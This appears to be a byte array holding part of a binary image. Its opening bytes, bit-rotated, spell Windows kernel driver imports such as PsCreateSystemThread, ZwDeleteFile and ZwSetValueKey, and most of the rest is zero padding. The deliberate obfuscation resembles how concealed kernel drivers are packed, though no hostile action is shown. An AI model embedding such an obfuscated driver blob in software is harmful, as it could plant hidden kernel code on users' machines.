0x32, 0x4B, 0x63, 0x2B, 0x00, 0x00, 0x77, 0x28, 0x92, 0xA3, 0x63, 0x4A, 0x73, 0x4B, 0xA3, 0xAA, 0x73, 0x4B, 0x1B, 0x7B, 0x23, 0x2B, 0x9A, 0xA3, 0x93, 0x4B, 0x73, 0x3B, 0x00, 0x00, 0x2D, 0x18, 0x5A, 0x2B, 0xBA, 0x0B, 0x4B, 0xA3, 0x32, 0x7B, 0x93, 0x9A, 0x4B, 0x73, 0x3B, 0x63, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x00, 0xCD, 0x10, 0x4A, 0x7B, 0x33, 0x1A, 0x0B, 0x63, 0x63, 0x22, 0x93, 0x4B, 0xB3, 0x2B, 0x93, 0x00, 0xA6, 0x08, 0x4A, 0x7B, 0x12, 0xAB, 0x4B, 0x63, 0x23, 0x9A, 0xCB, 0x73, 0x1B, 0x43, 0x93, 0x7B, 0x73, 0x7B, 0xAB, 0x9B, 0x32, 0x9B, 0x23, 0x92, 0x2B, 0x8B, 0xAB, 0x2B, 0x9B, 0xA3, 0x00, 0x00, 0xB0, 0x18, 0x5A, 0x2B, 0x4A, 0x73, 0x4B, 0xA3, 0x4B, 0x0B, 0x63, 0x4B, 0xD3, 0x2B, 0x2A, 0xB3, 0x2B, 0x73, 0xA3, 0x00, 0xB7, 0x38, 0xD2, 0xBB, 0xBA, 0x93, 0x4B, 0xA3, 0x2B, 0x32, 0x4B, 0x63, 0x2B, 0x00, 0x83, 0x00, 0x2A, 0xC3, 0x0A, 0x63, 0x63, 0x7B, 0x1B, 0x0B, 0xA3, 0x2B, 0x82, 0x7B, 0x7B, 0x63, 0x00, 0x00, 0x2D, 0x20, 0x7A, 0x13, 0x92, 0x2B, 0x33, 0x2B, 0x93, 0x2B, 0x73, 0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x12, 0xCB, 0x72, 0x0B, 0x6B, 0x2B, 0x00, 0x28, 0x10, 0x4A, 0x7B, 0x22, 0x93, 0x4B, 0xB3, 0x2B, 0x93, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0xA2, 0xCB, 0x83, 0x2B, 0x00, 0x00, 0x4F, 0x38, 0xD2, 0xBB, 0x9A, 0x2B, 0xA3, 0xB2, 0x0B, 0x63, 0xAB, 0x2B, 0x5A, 0x2B, 0xCB, 0x00, 0x4C, 0x38, 0xD2, 0xBB, 0x7A, 0x83, 0x2B, 0x73, 0x5A, 0x2B, 0xCB, 0x00, 0x1B, 0x38, 0xD2, 0xBB, 0x22, 0x2B, 0x63, 0x2B, 0xA3, 0x2B, 0x32, 0x4B, 0x63, 0x2B, 0x00, 0x00, 0x3F, 0x10, 0x5A, 0x2B, 0x22, 0x2B, 0x63, 0x0B, 0xCB, 0x2A, 0xC3, 0x2B, 0x1B, 0xAB, 0xA3, 0x4B, 0x7B, 0x73, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x00, 0xF7, 0x38, 0xFA, 0x0B, 0x63, 0x63, 0x6B, 0xAB, 0x63, 0x00, 0x54, 0x18, 0x5A, 0x2B, 0x9A, 0x2B, 0xA3, 0x82, 0x93, 0x4B, 0x7B, 0x93, 0x4B, 0xA3, 0xCB, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x21, 0x28, 0x82, 0x9B, 0x62, 0x7B, 0x7B, 0x5B, 0xAB, 0x83, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x12, 0xCB, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x4A, 0x23, 0x00, 0x00, 0x2F, 0x20, 0x82, 0x9B, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 0x9A, 0xCB, 0x9B, 0xA3, 0x2B, 0x6B, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x00, 0xE4, 0x18, 0x5A, 0x2B, 0xA2, 0x4B, 0x1B, 0x5B, 0x1A, 0x7B, 0xAB, 0x73, 0xA3, 0x00, 0x73, 0xA3, 0x7B, 0x9B, 0x5B, 0x93, 0x73, 0x63, 0x71, 0x2B, 0xC3, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0xF6, 0x81, 0x5F, 0x81, 0x3B, 0x89, 0xA3, 0x89, 0x11, 0x91, 0x79, 0x91, 0x03, 0x91, 0x8B, 0x91, 0x1D, 0x91, 0x45, 0x91, 0x75, 0x91, 0x72, 0x99, 0xC2, 0x99, 0x35, 0x99, 0xED, 0x99, 0xE6, 0x99, 0x77, 0x99, 0xDF, 0x99, 0xC0, 0xA1, 0x21, 0xA1, 0x79, 0xA1, 0x74, 0xA1, 0x8D, 0xA1, 0x6E, 0xA1, 0x5F, 0xA1, 0x2D, 0xA9, 0x9E, 0xA9, 0xEE, 0xA9, 0x3F, 0xA9, 0x7F, 0xA9, 0xCF, 0xA9, 0x48, 0xB1, 0xB8, 0xB1, 0x09, 0xB1, 0x41, 0xB1, 0xD1, 0xB1, 0x22, 0xB1, 0x82, 0xB1, 0xD2, 0xB1, 0x14, 0xB1, 0xAC, 0xB1, 0xFC, 0xB1, 0x6D, 0xB1, 0x5E, 0xB1, 0x97, 0xB1, 0x18, 0xB9, 0xB8, 0xB9, 0x22, 0xB9, 0x35, 0xB9, 0x65, 0xB9, 0x95, 0xB9, 0xD5, 0xB9, 0x98, 0xC1, 0x6B, 0xC1, 0xA5, 0xC1, 0xCD, 0xC1, 0xF5, 0xC1, 0x28, 0xC9, 0xE0, 0xC9, 0x71, 0xC9, 0xD1, 0xC9, 0x1A, 0xC9, 0x6A, 0xC9, 0x03, 0xC9, 0x63, 0xC9, 0xC3, 0xC9, 0x24, 0xC9, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x30, 0x81, 0xC0, 0x81, 0xF8, 0x81, 0x21, 0x81, 0x69, 0x81, 0xA1, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 